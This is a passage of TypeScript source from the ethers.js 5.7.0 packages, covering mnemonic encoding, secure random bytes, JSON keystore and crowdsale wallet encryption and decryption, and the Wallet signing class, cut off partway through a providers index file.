entropy.length > 32) {\n throw new Error(\"invalid entropy\");\n }\n\n const indices: Array = [ 0 ];\n\n let remainingBits = 11;\n for (let i = 0; i < entropy.length; i++) {\n\n // Consume the whole byte (with still more to go)\n if (remainingBits > 8) {\n indices[indices.length - 1] <<= 8;\n indices[indices.length - 1] |= entropy[i];\n\n remainingBits -= 8;\n\n // This byte will complete an 11-bit index\n } else {\n indices[indices.length - 1] <<= remainingBits;\n indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits);\n\n // Start the next word\n indices.push(entropy[i] & getLowerMask(8 - remainingBits));\n\n remainingBits += 3;\n }\n }\n\n // Compute the checksum bits\n const checksumBits = entropy.length / 4;\n const checksum = arrayify(sha256(entropy))[0] & getUpperMask(checksumBits);\n\n // Shift the checksum into the word indices\n indices[indices.length - 1] <<= checksumBits;\n indices[indices.length - 1] |= (checksum >> (8 - checksumBits));\n\n return wordlist.join(indices.map((index) => (wordlist).getWord(index)));\n}\n\nexport function isValidMnemonic(mnemonic: string, wordlist?: Wordlist): boolean {\n try {\n mnemonicToEntropy(mnemonic, wordlist);\n return true;\n } catch (error) { }\n return false;\n}\n\nexport function getAccountPath(index: number): string {\n if (typeof(index) !== \"number\" || index < 0 || index >= HardenedBit || index % 1) {\n logger.throwArgumentError(\"invalid account index\", \"index\", index);\n }\n return `m/44'/60'/${ index }'/0/0`;\n}\n", "export const version = \"random/5.7.0\";\n", "\"use strict\";\n\nimport { arrayify } from \"@ethersproject/bytes\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n// Debugging line for testing browser lib in node\n//const window = { crypto: { getRandomValues: () => { } } };\n\n// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis\nfunction getGlobal(): any {\n if (typeof self !== 'undefined') { return self; }\n if (typeof window !== 'undefined') { return window; }\n if (typeof global !== 'undefined') { return global; }\n throw new Error('unable to locate global object');\n};\n\nconst anyGlobal = getGlobal();\n\nlet crypto: any = anyGlobal.crypto || anyGlobal.msCrypto;\nif (!crypto || !crypto.getRandomValues) {\n\n logger.warn(\"WARNING: Missing strong random number source\");\n\n crypto = {\n getRandomValues: function(buffer: Uint8Array): Uint8Array {\n return logger.throwError(\"no secure random source avaialble\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"crypto.getRandomValues\"\n });\n }\n };\n}\n\nexport function randomBytes(length: number): Uint8Array {\n if (length <= 0 || length > 1024 || (length % 1) || length != length) {\n logger.throwArgumentError(\"invalid length\", \"length\", length);\n }\n\n const result = new Uint8Array(length);\n crypto.getRandomValues(result);\n return arrayify(result);\n};\n", "\"use strict\";\n\nexport function shuffled(array: Array): Array {\n array = array.slice();\n\n for (let i = array.length - 1; i > 0; i--) {\n const j = Math.floor(Math.random() * (i + 1));\n const tmp = array[i];\n array[i] = array[j];\n array[j] = tmp;\n }\n\n return array;\n}\n", "\"use strict\";\n\nimport aes from \"aes-js\";\n\nimport { ExternallyOwnedAccount } from \"@ethersproject/abstract-signer\";\nimport { getAddress } from \"@ethersproject/address\";\nimport { arrayify, Bytes } from \"@ethersproject/bytes\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { pbkdf2 } from \"@ethersproject/pbkdf2\";\nimport { toUtf8Bytes } from \"@ethersproject/strings\";\nimport { Description } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { getPassword, looseArrayify, searchPath } from \"./utils\";\n\nexport interface _CrowdsaleAccount {\n address: string;\n privateKey: string;\n\n _isCrowdsaleAccount: boolean;\n}\n\nexport class CrowdsaleAccount extends Description<_CrowdsaleAccount> implements ExternallyOwnedAccount {\n readonly address: string;\n readonly privateKey: string;\n readonly mnemonic?: string;\n readonly path?: string;\n\n readonly _isCrowdsaleAccount: boolean;\n\n isCrowdsaleAccount(value: any): value is CrowdsaleAccount {\n return !!(value && value._isCrowdsaleAccount);\n }\n}\n\n// See: https://github.com/ethereum/pyethsaletool\nexport function decrypt(json: string, password: Bytes | string): ExternallyOwnedAccount {\n const data = JSON.parse(json);\n\n password = getPassword(password);\n\n // Ethereum Address\n const ethaddr = getAddress(searchPath(data, \"ethaddr\"));\n\n // Encrypted Seed\n const encseed = looseArrayify(searchPath(data, \"encseed\"));\n if (!encseed || (encseed.length % 16) !== 0) {\n logger.throwArgumentError(\"invalid encseed\", \"json\", json);\n }\n\n const key = arrayify(pbkdf2(password, password, 2000, 32, \"sha256\")).slice(0, 16);\n\n const iv = encseed.slice(0, 16);\n const encryptedSeed = encseed.slice(16);\n\n // Decrypt the seed\n const aesCbc = new aes.ModeOfOperation.cbc(key, iv);\n const seed = aes.padding.pkcs7.strip(arrayify(aesCbc.decrypt(encryptedSeed)));\n\n // This wallet format is weird... Convert the binary encoded hex to a string.\n let seedHex = \"\";\n for (let i = 0; i < seed.length; i++) {\n seedHex += String.fromCharCode(seed[i]);\n }\n\n const seedHexBytes = toUtf8Bytes(seedHex);\n\n const privateKey = keccak256(seedHexBytes);\n\n return new CrowdsaleAccount ({\n _isCrowdsaleAccount: true,\n address: ethaddr,\n privateKey: privateKey\n });\n}\n\n", "export const version = \"json-wallets/5.7.0\";\n", "\"use strict\";\n\nimport { arrayify, Bytes, BytesLike, hexlify } from \"@ethersproject/bytes\";\nimport { toUtf8Bytes, UnicodeNormalizationForm } from '@ethersproject/strings';\n\nexport function looseArrayify(hexString: string): Uint8Array {\n if (typeof(hexString) === 'string' && hexString.substring(0, 2) !== '0x') {\n hexString = '0x' + hexString;\n }\n return arrayify(hexString);\n}\n\nexport function zpad(value: String | number, length: number): String {\n value = String(value);\n while (value.length < length) { value = '0' + value; }\n return value;\n}\n\nexport function getPassword(password: Bytes | string): Uint8Array {\n if (typeof(password) === 'string') {\n return toUtf8Bytes(password, UnicodeNormalizationForm.NFKC);\n }\n return arrayify(password);\n}\n\nexport function searchPath(object: any, path: string): string {\n let currentChild = object;\n\n const comps = path.toLowerCase().split('/');\n for (let i = 0; i < comps.length; i++) {\n\n // Search for a child object with a case-insensitive matching key\n let matchingChild = null;\n for (const key in currentChild) {\n if (key.toLowerCase() === comps[i]) {\n matchingChild = currentChild[key];\n break;\n }\n }\n\n // Didn't find one. :'(\n if (matchingChild === null) {\n return null;\n }\n\n // Now check this child...\n currentChild = matchingChild;\n }\n\n return currentChild;\n}\n\n// See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4)\nexport function uuidV4(randomBytes: BytesLike): string {\n const bytes = arrayify(randomBytes);\n\n // Section: 4.1.3:\n // - time_hi_and_version[12:16] = 0b0100\n bytes[6] = (bytes[6] & 0x0f) | 0x40;\n\n // Section 4.4\n // - clock_seq_hi_and_reserved[6] = 0b0\n // - clock_seq_hi_and_reserved[7] = 0b1\n bytes[8] = (bytes[8] & 0x3f) | 0x80;\n\n const value = hexlify(bytes);\n\n return [\n value.substring(2, 10),\n value.substring(10, 14),\n value.substring(14, 18),\n value.substring(18, 22),\n value.substring(22, 34),\n ].join(\"-\");\n}\n\n", "\"use strict\";\n\nimport { getAddress } from \"@ethersproject/address\";\n\n\nexport function isCrowdsaleWallet(json: string): boolean {\n let data: any = null;\n try {\n data = JSON.parse(json);\n } catch (error) { return false; }\n\n return (data.encseed && data.ethaddr);\n}\n\nexport function isKeystoreWallet(json: string): boolean {\n let data: any = null;\n try {\n data = JSON.parse(json);\n } catch (error) { return false; }\n\n if (!data.version || parseInt(data.version) !== data.version || parseInt(data.version) !== 3) {\n return false;\n }\n\n // @TODO: Put more checks to make sure it has kdf, iv and all that good stuff\n return true;\n}\n\n//export function isJsonWallet(json: string): boolean {\n// return (isSecretStorageWallet(json) || isCrowdsaleWallet(json));\n//}\n\nexport function getJsonWalletAddress(json: string): string {\n if (isCrowdsaleWallet(json)) {\n try {\n return getAddress(JSON.parse(json).ethaddr);\n } catch (error) { return null; }\n }\n\n if (isKeystoreWallet(json)) {\n try {\n return getAddress(JSON.parse(json).address);\n } catch (error) { return null; }\n }\n\n return null;\n}\n\n", "\"use strict\";\n\nimport aes from \"aes-js\";\nimport scrypt from \"scrypt-js\";\n\nimport { ExternallyOwnedAccount } from \"@ethersproject/abstract-signer\";\nimport { getAddress } from \"@ethersproject/address\";\nimport { arrayify, Bytes, BytesLike, concat, hexlify } from \"@ethersproject/bytes\";\nimport { defaultPath, entropyToMnemonic, HDNode, Mnemonic, mnemonicToEntropy } from \"@ethersproject/hdnode\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { pbkdf2 as _pbkdf2 } from \"@ethersproject/pbkdf2\";\nimport { randomBytes } from \"@ethersproject/random\";\nimport { Description } from \"@ethersproject/properties\";\nimport { computeAddress } from \"@ethersproject/transactions\";\n\nimport { getPassword, looseArrayify, searchPath, uuidV4, zpad } from \"./utils\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n// Exported Types\n\nfunction hasMnemonic(value: any): value is { mnemonic: Mnemonic } {\n return (value != null && value.mnemonic && value.mnemonic.phrase);\n}\n\nexport interface _KeystoreAccount {\n address: string;\n privateKey: string;\n mnemonic?: Mnemonic;\n\n _isKeystoreAccount: boolean;\n}\n\nexport class KeystoreAccount extends Description<_KeystoreAccount> implements ExternallyOwnedAccount {\n readonly address: string;\n readonly privateKey: string;\n readonly mnemonic?: Mnemonic;\n\n readonly _isKeystoreAccount: boolean;\n\n isKeystoreAccount(value: any): value is KeystoreAccount {\n return !!(value && value._isKeystoreAccount);\n }\n}\n\nexport type ProgressCallback = (percent: number) => void;\n\nexport type EncryptOptions = {\n iv?: BytesLike;\n entropy?: BytesLike;\n client?: string;\n salt?: BytesLike;\n uuid?: string;\n scrypt?: {\n N?: number;\n r?: number;\n p?: number;\n }\n}\n\nfunction _decrypt(data: any, key: Uint8Array, ciphertext: Uint8Array): Uint8Array {\n const cipher = searchPath(data, \"crypto/cipher\");\n if (cipher === \"aes-128-ctr\") {\n const iv = looseArrayify(searchPath(data, \"crypto/cipherparams/iv\"))\n const counter = new aes.Counter(iv);\n\n const aesCtr = new aes.ModeOfOperation.ctr(key, counter);\n\n return arrayify(aesCtr.decrypt(ciphertext));\n }\n\n return null;\n}\n\nfunction _getAccount(data: any, key: Uint8Array): KeystoreAccount {\n const ciphertext = looseArrayify(searchPath(data, \"crypto/ciphertext\"));\n\n const computedMAC = hexlify(keccak256(concat([ key.slice(16, 32), ciphertext ]))).substring(2);\n if (computedMAC !== searchPath(data, \"crypto/mac\").toLowerCase()) {\n throw new Error(\"invalid password\");\n }\n\n const privateKey = _decrypt(data, key.slice(0, 16), ciphertext);\n\n if (!privateKey) {\n logger.throwError(\"unsupported cipher\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"decrypt\"\n });\n }\n\n const mnemonicKey = key.slice(32, 64);\n\n const address = computeAddress(privateKey);\n if (data.address) {\n let check = data.address.toLowerCase();\n if (check.substring(0, 2) !== \"0x\") { check = \"0x\" + check; }\n\n if (getAddress(check) !== address) {\n throw new Error(\"address mismatch\");\n }\n }\n\n const account: _KeystoreAccount = {\n _isKeystoreAccount: true,\n address: address,\n privateKey: hexlify(privateKey)\n };\n\n // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase\n if (searchPath(data, \"x-ethers/version\") === \"0.1\") {\n const mnemonicCiphertext = looseArrayify(searchPath(data, \"x-ethers/mnemonicCiphertext\"));\n const mnemonicIv = looseArrayify(searchPath(data, \"x-ethers/mnemonicCounter\"));\n\n const mnemonicCounter = new aes.Counter(mnemonicIv);\n const mnemonicAesCtr = new aes.ModeOfOperation.ctr(mnemonicKey, mnemonicCounter);\n\n const path = searchPath(data, \"x-ethers/path\") || defaultPath;\n const locale = searchPath(data, \"x-ethers/locale\") || \"en\";\n\n const entropy = arrayify(mnemonicAesCtr.decrypt(mnemonicCiphertext));\n\n try {\n const mnemonic = entropyToMnemonic(entropy, locale);\n const node = HDNode.fromMnemonic(mnemonic, null, locale).derivePath(path);\n\n if (node.privateKey != account.privateKey) {\n throw new Error(\"mnemonic mismatch\");\n }\n\n account.mnemonic = node.mnemonic;\n\n } catch (error) {\n // If we don't have the locale wordlist installed to\n // read this mnemonic, just bail and don't set the\n // mnemonic\n if (error.code !== Logger.errors.INVALID_ARGUMENT || error.argument !== \"wordlist\") {\n throw error;\n }\n }\n }\n\n return new KeystoreAccount(account);\n}\n\ntype ScryptFunc = (pw: Uint8Array, salt: Uint8Array, n: number, r: number, p: number, dkLen: number, callback?: ProgressCallback) => T;\ntype Pbkdf2Func = (pw: Uint8Array, salt: Uint8Array, c: number, dkLen: number, prfFunc: string) => T;\n\nfunction pbkdf2Sync(passwordBytes: Uint8Array, salt: Uint8Array, count: number, dkLen: number, prfFunc: string): Uint8Array {\n return arrayify(_pbkdf2(passwordBytes, salt, count, dkLen, prfFunc));\n}\n\nfunction pbkdf2(passwordBytes: Uint8Array, salt: Uint8Array, count: number, dkLen: number, prfFunc: string): Promise {\n return Promise.resolve(pbkdf2Sync(passwordBytes, salt, count, dkLen, prfFunc));\n}\n\nfunction _computeKdfKey(data: any, password: Bytes | string, pbkdf2Func: Pbkdf2Func, scryptFunc: ScryptFunc, progressCallback?: ProgressCallback): T {\n const passwordBytes = getPassword(password);\n\n const kdf = searchPath(data, \"crypto/kdf\");\n\n if (kdf && typeof(kdf) === \"string\") {\n const throwError = function(name: string, value: any): never {\n return logger.throwArgumentError(\"invalid key-derivation function parameters\", name, value);\n }\n\n if (kdf.toLowerCase() === \"scrypt\") {\n const salt = looseArrayify(searchPath(data, \"crypto/kdfparams/salt\"));\n const N = parseInt(searchPath(data, \"crypto/kdfparams/n\"));\n const r = parseInt(searchPath(data, \"crypto/kdfparams/r\"));\n const p = parseInt(searchPath(data, \"crypto/kdfparams/p\"));\n\n // Check for all required parameters\n if (!N || !r || !p) { throwError(\"kdf\", kdf); }\n\n // Make sure N is a power of 2\n if ((N & (N - 1)) !== 0) { throwError(\"N\", N); }\n\n const dkLen = parseInt(searchPath(data, \"crypto/kdfparams/dklen\"));\n if (dkLen !== 32) { throwError(\"dklen\", dkLen); }\n\n return scryptFunc(passwordBytes, salt, N, r, p, 64, progressCallback);\n\n } else if (kdf.toLowerCase() === \"pbkdf2\") {\n\n const salt = looseArrayify(searchPath(data, \"crypto/kdfparams/salt\"));\n\n let prfFunc: string = null;\n const prf = searchPath(data, \"crypto/kdfparams/prf\");\n if (prf === \"hmac-sha256\") {\n prfFunc = \"sha256\";\n } else if (prf === \"hmac-sha512\") {\n prfFunc = \"sha512\";\n } else {\n throwError(\"prf\", prf);\n }\n\n const count = parseInt(searchPath(data, \"crypto/kdfparams/c\"));\n\n const dkLen = parseInt(searchPath(data, \"crypto/kdfparams/dklen\"));\n if (dkLen !== 32) { throwError(\"dklen\", dkLen); }\n\n return pbkdf2Func(passwordBytes, salt, count, dkLen, prfFunc);\n }\n }\n\n return logger.throwArgumentError(\"unsupported key-derivation function\", \"kdf\", kdf);\n}\n\n\nexport function decryptSync(json: string, password: Bytes | string): KeystoreAccount {\n const data = JSON.parse(json);\n\n const key = _computeKdfKey(data, password, pbkdf2Sync, scrypt.syncScrypt);\n return _getAccount(data, key);\n}\n\nexport async function decrypt(json: string, password: Bytes | string, progressCallback?: ProgressCallback): Promise {\n const data = JSON.parse(json);\n\n const key = await _computeKdfKey(data, password, pbkdf2, scrypt.scrypt, progressCallback);\n return _getAccount(data, key);\n}\n\n\nexport function encrypt(account: ExternallyOwnedAccount, password: Bytes | string, options?: EncryptOptions, progressCallback?: ProgressCallback): Promise {\n\n try {\n // Check the address matches the private key\n if (getAddress(account.address) !== computeAddress(account.privateKey)) {\n throw new Error(\"address/privateKey mismatch\");\n }\n\n // Check the mnemonic (if any) matches the private key\n if (hasMnemonic(account)) {\n const mnemonic = account.mnemonic;\n const node = HDNode.fromMnemonic(mnemonic.phrase, null, mnemonic.locale).derivePath(mnemonic.path || defaultPath);\n\n if (node.privateKey != account.privateKey) {\n throw new Error(\"mnemonic mismatch\");\n }\n }\n\n } catch (e) {\n return Promise.reject(e);\n }\n\n // The options are optional, so adjust the call as needed\n if (typeof(options) === \"function\" && !progressCallback) {\n progressCallback = options;\n options = {};\n }\n if (!options) { options = {}; }\n\n const privateKey: Uint8Array = arrayify(account.privateKey);\n const passwordBytes = getPassword(password);\n\n let entropy: Uint8Array = null\n let path: string = null;\n let locale: string = null;\n if (hasMnemonic(account)) {\n const srcMnemonic = account.mnemonic;\n entropy = arrayify(mnemonicToEntropy(srcMnemonic.phrase, srcMnemonic.locale || \"en\"));\n path = srcMnemonic.path || defaultPath;\n locale = srcMnemonic.locale || \"en\";\n }\n\n let client = options.client;\n if (!client) { client = \"ethers.js\"; }\n\n // Check/generate the salt\n let salt: Uint8Array = null;\n if (options.salt) {\n salt = arrayify(options.salt);\n } else {\n salt = randomBytes(32);;\n }\n\n // Override initialization vector\n let iv: Uint8Array = null;\n if (options.iv) {\n iv = arrayify(options.iv);\n if (iv.length !== 16) { throw new Error(\"invalid iv\"); }\n } else {\n iv = randomBytes(16);\n }\n\n // Override the uuid\n let uuidRandom: Uint8Array = null;\n if (options.uuid) {\n uuidRandom = arrayify(options.uuid);\n if (uuidRandom.length !== 16) { throw new Error(\"invalid uuid\"); }\n } else {\n uuidRandom = randomBytes(16);\n }\n\n // Override the scrypt password-based key derivation function parameters\n let N = (1 << 17), r = 8, p = 1;\n if (options.scrypt) {\n if (options.scrypt.N) { N = options.scrypt.N; }\n if (options.scrypt.r) { r = options.scrypt.r; }\n if (options.scrypt.p) { p = options.scrypt.p; }\n }\n\n // We take 64 bytes:\n // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix)\n // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet)\n return scrypt.scrypt(passwordBytes, salt, N, r, p, 64, progressCallback).then((key) => {\n key = arrayify(key);\n\n // This will be used to encrypt the wallet (as per Web3 secret storage)\n const derivedKey = key.slice(0, 16);\n const macPrefix = key.slice(16, 32);\n\n // This will be used to encrypt the mnemonic phrase (if any)\n const mnemonicKey = key.slice(32, 64);\n\n // Encrypt the private key\n const counter = new aes.Counter(iv);\n const aesCtr = new aes.ModeOfOperation.ctr(derivedKey, counter);\n const ciphertext = arrayify(aesCtr.encrypt(privateKey));\n\n // Compute the message authentication code, used to check the password\n const mac = keccak256(concat([macPrefix, ciphertext]))\n\n // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition\n const data: { [key: string]: any } = {\n address: account.address.substring(2).toLowerCase(),\n id: uuidV4(uuidRandom),\n version: 3,\n crypto: {\n cipher: \"aes-128-ctr\",\n cipherparams: {\n iv: hexlify(iv).substring(2),\n },\n ciphertext: hexlify(ciphertext).substring(2),\n kdf: \"scrypt\",\n kdfparams: {\n salt: hexlify(salt).substring(2),\n n: N,\n dklen: 32,\n p: p,\n r: r\n },\n mac: mac.substring(2)\n }\n };\n\n // If we have a mnemonic, encrypt it into the JSON wallet\n if (entropy) {\n const mnemonicIv = randomBytes(16);\n const mnemonicCounter = new aes.Counter(mnemonicIv);\n const mnemonicAesCtr = new aes.ModeOfOperation.ctr(mnemonicKey, mnemonicCounter);\n const mnemonicCiphertext = arrayify(mnemonicAesCtr.encrypt(entropy));\n const now = new Date();\n const timestamp = (now.getUTCFullYear() + \"-\" +\n zpad(now.getUTCMonth() + 1, 2) + \"-\" +\n zpad(now.getUTCDate(), 2) + \"T\" +\n zpad(now.getUTCHours(), 2) + \"-\" +\n zpad(now.getUTCMinutes(), 2) + \"-\" +\n zpad(now.getUTCSeconds(), 2) + \".0Z\"\n );\n data[\"x-ethers\"] = {\n client: client,\n gethFilename: (\"UTC--\" + timestamp + \"--\" + data.address),\n mnemonicCounter: hexlify(mnemonicIv).substring(2),\n mnemonicCiphertext: hexlify(mnemonicCiphertext).substring(2),\n path: path,\n locale: locale,\n version: \"0.1\"\n };\n }\n\n return JSON.stringify(data);\n });\n}\n", "\"use strict\";\n\nimport { Bytes } from \"@ethersproject/bytes\";\nimport { ExternallyOwnedAccount } from \"@ethersproject/abstract-signer\";\n\nimport { decrypt as decryptCrowdsale } from \"./crowdsale\";\nimport { getJsonWalletAddress, isCrowdsaleWallet, isKeystoreWallet } from \"./inspect\";\nimport { decrypt as decryptKeystore, decryptSync as decryptKeystoreSync, encrypt as encryptKeystore, EncryptOptions, ProgressCallback } from \"./keystore\";\n\nfunction decryptJsonWallet(json: string, password: Bytes | string, progressCallback?: ProgressCallback): Promise {\n if (isCrowdsaleWallet(json)) {\n if (progressCallback) { progressCallback(0); }\n const account = decryptCrowdsale(json, password)\n if (progressCallback) { progressCallback(1); }\n return Promise.resolve(account);\n }\n\n if (isKeystoreWallet(json)) {\n return decryptKeystore(json, password, progressCallback);\n }\n\n return Promise.reject(new Error(\"invalid JSON wallet\"));\n}\n\nfunction decryptJsonWalletSync(json: string, password: Bytes | string): ExternallyOwnedAccount {\n if (isCrowdsaleWallet(json)) {\n return decryptCrowdsale(json, password)\n }\n\n if (isKeystoreWallet(json)) {\n return decryptKeystoreSync(json, password);\n }\n\n throw new Error(\"invalid JSON wallet\");\n}\n\nexport {\n decryptCrowdsale,\n\n decryptKeystore,\n decryptKeystoreSync,\n encryptKeystore,\n\n isCrowdsaleWallet,\n isKeystoreWallet,\n getJsonWalletAddress,\n\n decryptJsonWallet,\n decryptJsonWalletSync,\n\n ProgressCallback,\n EncryptOptions,\n};\n", "export const version = \"wallet/5.7.0\";\n", "\"use strict\";\n\nimport { getAddress } from \"@ethersproject/address\";\nimport { Provider, TransactionRequest } from \"@ethersproject/abstract-provider\";\nimport { ExternallyOwnedAccount, Signer, TypedDataDomain, TypedDataField, TypedDataSigner } from \"@ethersproject/abstract-signer\";\nimport { arrayify, Bytes, BytesLike, concat, hexDataSlice, isHexString, joinSignature, SignatureLike } from \"@ethersproject/bytes\";\nimport { hashMessage, _TypedDataEncoder } from \"@ethersproject/hash\";\nimport { defaultPath, HDNode, entropyToMnemonic, Mnemonic } from \"@ethersproject/hdnode\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { defineReadOnly, resolveProperties } from \"@ethersproject/properties\";\nimport { randomBytes } from \"@ethersproject/random\";\nimport { SigningKey } from \"@ethersproject/signing-key\";\nimport { decryptJsonWallet, decryptJsonWalletSync, encryptKeystore, ProgressCallback } from \"@ethersproject/json-wallets\";\nimport { computeAddress, recoverAddress, serialize, UnsignedTransaction } from \"@ethersproject/transactions\";\nimport { Wordlist } from \"@ethersproject/wordlists\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nfunction isAccount(value: any): value is ExternallyOwnedAccount {\n return (value != null && isHexString(value.privateKey, 32) && value.address != null);\n}\n\nfunction hasMnemonic(value: any): value is { mnemonic: Mnemonic } {\n const mnemonic = value.mnemonic;\n return (mnemonic && mnemonic.phrase);\n}\n\nexport class Wallet extends Signer implements ExternallyOwnedAccount, TypedDataSigner {\n\n readonly address: string;\n readonly provider: Provider;\n\n // Wrapping the _signingKey and _mnemonic in a getter function prevents\n // leaking the private key in console.log; still, be careful! :)\n readonly _signingKey: () => SigningKey;\n readonly _mnemonic: () => Mnemonic;\n\n constructor(privateKey: BytesLike | ExternallyOwnedAccount | SigningKey, provider?: Provider) {\n super();\n\n if (isAccount(privateKey)) {\n const signingKey = new SigningKey(privateKey.privateKey);\n defineReadOnly(this, \"_signingKey\", () => signingKey);\n defineReadOnly(this, \"address\", computeAddress(this.publicKey));\n\n if (this.address !== getAddress(privateKey.address)) {\n logger.throwArgumentError(\"privateKey/address mismatch\", \"privateKey\", \"[REDACTED]\");\n }\n\n if (hasMnemonic(privateKey)) {\n const srcMnemonic = privateKey.mnemonic;\n defineReadOnly(this, \"_mnemonic\", () => (\n {\n phrase: srcMnemonic.phrase,\n path: srcMnemonic.path || defaultPath,\n locale: srcMnemonic.locale || \"en\"\n }\n ));\n const mnemonic = this.mnemonic;\n const node = HDNode.fromMnemonic(mnemonic.phrase, null, mnemonic.locale).derivePath(mnemonic.path);\n if (computeAddress(node.privateKey) !== this.address) {\n logger.throwArgumentError(\"mnemonic/address mismatch\", \"privateKey\", \"[REDACTED]\");\n }\n } else {\n defineReadOnly(this, \"_mnemonic\", (): Mnemonic => null);\n }\n\n\n } else {\n if (SigningKey.isSigningKey(privateKey)) {\n /* istanbul ignore if */\n if (privateKey.curve !== \"secp256k1\") {\n logger.throwArgumentError(\"unsupported curve; must be secp256k1\", \"privateKey\", \"[REDACTED]\");\n }\n defineReadOnly(this, \"_signingKey\", () => (privateKey));\n\n } else {\n // A lot of common tools do not prefix private keys with a 0x (see: #1166)\n if (typeof(privateKey) === \"string\") {\n if (privateKey.match(/^[0-9a-f]*$/i) && privateKey.length === 64) {\n privateKey = \"0x\" + privateKey;\n }\n }\n\n const signingKey = new SigningKey(privateKey);\n defineReadOnly(this, \"_signingKey\", () => signingKey);\n }\n\n defineReadOnly(this, \"_mnemonic\", (): Mnemonic => null);\n defineReadOnly(this, \"address\", computeAddress(this.publicKey));\n }\n\n /* istanbul ignore if */\n if (provider && !Provider.isProvider(provider)) {\n logger.throwArgumentError(\"invalid provider\", \"provider\", provider);\n }\n\n defineReadOnly(this, \"provider\", provider || null);\n }\n\n get mnemonic(): Mnemonic { return this._mnemonic(); }\n get privateKey(): string { return this._signingKey().privateKey; }\n get publicKey(): string { return this._signingKey().publicKey; }\n\n getAddress(): Promise {\n return Promise.resolve(this.address);\n }\n\n connect(provider: Provider): Wallet {\n return new Wallet(this, provider);\n }\n\n signTransaction(transaction: TransactionRequest): Promise {\n return resolveProperties(transaction).then((tx) => {\n if (tx.from != null) {\n if (getAddress(tx.from) !== this.address) {\n logger.throwArgumentError(\"transaction from address mismatch\", \"transaction.from\", transaction.from);\n }\n delete tx.from;\n }\n\n const signature = this._signingKey().signDigest(keccak256(serialize(tx)));\n return serialize(tx, signature);\n });\n }\n\n async signMessage(message: Bytes | string): Promise {\n return joinSignature(this._signingKey().signDigest(hashMessage(message)));\n }\n\n async _signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise {\n // Populate any ENS names\n const populated = await _TypedDataEncoder.resolveNames(domain, types, value, (name: string) => {\n if (this.provider == null) {\n logger.throwError(\"cannot resolve ENS names without a provider\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"resolveName\",\n value: name\n });\n }\n return this.provider.resolveName(name);\n });\n\n return joinSignature(this._signingKey().signDigest(_TypedDataEncoder.hash(populated.domain, types, populated.value)));\n }\n\n encrypt(password: Bytes | string, options?: any, progressCallback?: ProgressCallback): Promise {\n if (typeof(options) === \"function\" && !progressCallback) {\n progressCallback = options;\n options = {};\n }\n\n if (progressCallback && typeof(progressCallback) !== \"function\") {\n throw new Error(\"invalid callback\");\n }\n\n if (!options) { options = {}; }\n\n return encryptKeystore(this, password, options, progressCallback);\n }\n\n\n /**\n * Static methods to create Wallet instances.\n */\n static createRandom(options?: any): Wallet {\n let entropy: Uint8Array = randomBytes(16);\n\n if (!options) { options = { }; }\n\n if (options.extraEntropy) {\n entropy = arrayify(hexDataSlice(keccak256(concat([ entropy, options.extraEntropy ])), 0, 16));\n }\n\n const mnemonic = entropyToMnemonic(entropy, options.locale);\n return Wallet.fromMnemonic(mnemonic, options.path, options.locale);\n }\n\n static fromEncryptedJson(json: string, password: Bytes | string, progressCallback?: ProgressCallback): Promise {\n return decryptJsonWallet(json, password, progressCallback).then((account) => {\n return new Wallet(account);\n });\n }\n\n static fromEncryptedJsonSync(json: string, password: Bytes | string): Wallet {\n return new Wallet(decryptJsonWalletSync(json, password));\n }\n\n static fromMnemonic(mnemonic: string, path?: string, wordlist?: Wordlist): Wallet {\n if (!path) { path = defaultPath; }\n return new Wallet(HDNode.fromMnemonic(mnemonic, null, wordlist).derivePath(path));\n }\n}\n\nexport function verifyMessage(message: Bytes | string, signature: SignatureLike): string {\n return recoverAddress(hashMessage(message), signature);\n}\n\nexport function verifyTypedData(domain: TypedDataDomain, types: Record>, value: Record, signature: SignatureLike): string {\n return recoverAddress(_TypedDataEncoder.hash(domain, types, value), signature);\n}\n", "\"use strict\";\n\nimport {\n Block,\n BlockTag,\n EventType,\n FeeData,\n Filter,\n Log,\n Listener,\n Provider,\n TransactionReceipt,\n TransactionRequest,\n TransactionResponse\n} from \"@ethersproject/abstract-provider\";\n\nimport { getNetwork } from \"@ethersproject/networks\";\nimport { Network, Networkish } from \"@ethersproject/networks\";\n\nimport { BaseProvider, EnsProvider, EnsResolver, Resolver } from \"./base-provider\";\n\nimport { AlchemyProvider, AlchemyWebSocketProvider } from \"./alchemy-provider\";\nimport { AnkrProvider } from \"./ankr-provider\";\nimport { CloudflareProvider } from \"./cloudflare-provider\";\nimport { EtherscanProvider } from \"./etherscan-provider\";\nimport { FallbackProvider, FallbackProviderConfig } from \"./fallback-provider\";\nimport { IpcProvider } from \"./ipc-provider\";\nimport { InfuraProvider, InfuraWebSocketProvider } from \"./infura-provider\";\nimport { JsonRpcProvider, JsonRpcSigner } from \"./json-rpc-provider\";\nimport { JsonRpcBatchProvider } from \"./json-rpc-batch-provider\";\nimport { NodesmithProvider } from \"./nodesmith-provider\";\nimport { PocketProvider } from \"./pocket-provider\";\nimport { StaticJsonRpcProvider, UrlJsonRpcProvider } from \"./url-json-rpc-provider\";\nimport { Web3Provider } from \"./web3-provider\";\nimport { WebSocketProvider } from \"./websocket-provider\";\nimport { ExternalProvider, JsonRpcFetchFunc } from \"./web3-provider\";\n\nimport { CommunityResourcable, Formatter, isCommunityResourcable, isCommunityResource, showThrottleMessage } from \"./formatter\";\n\nimport { Logger } 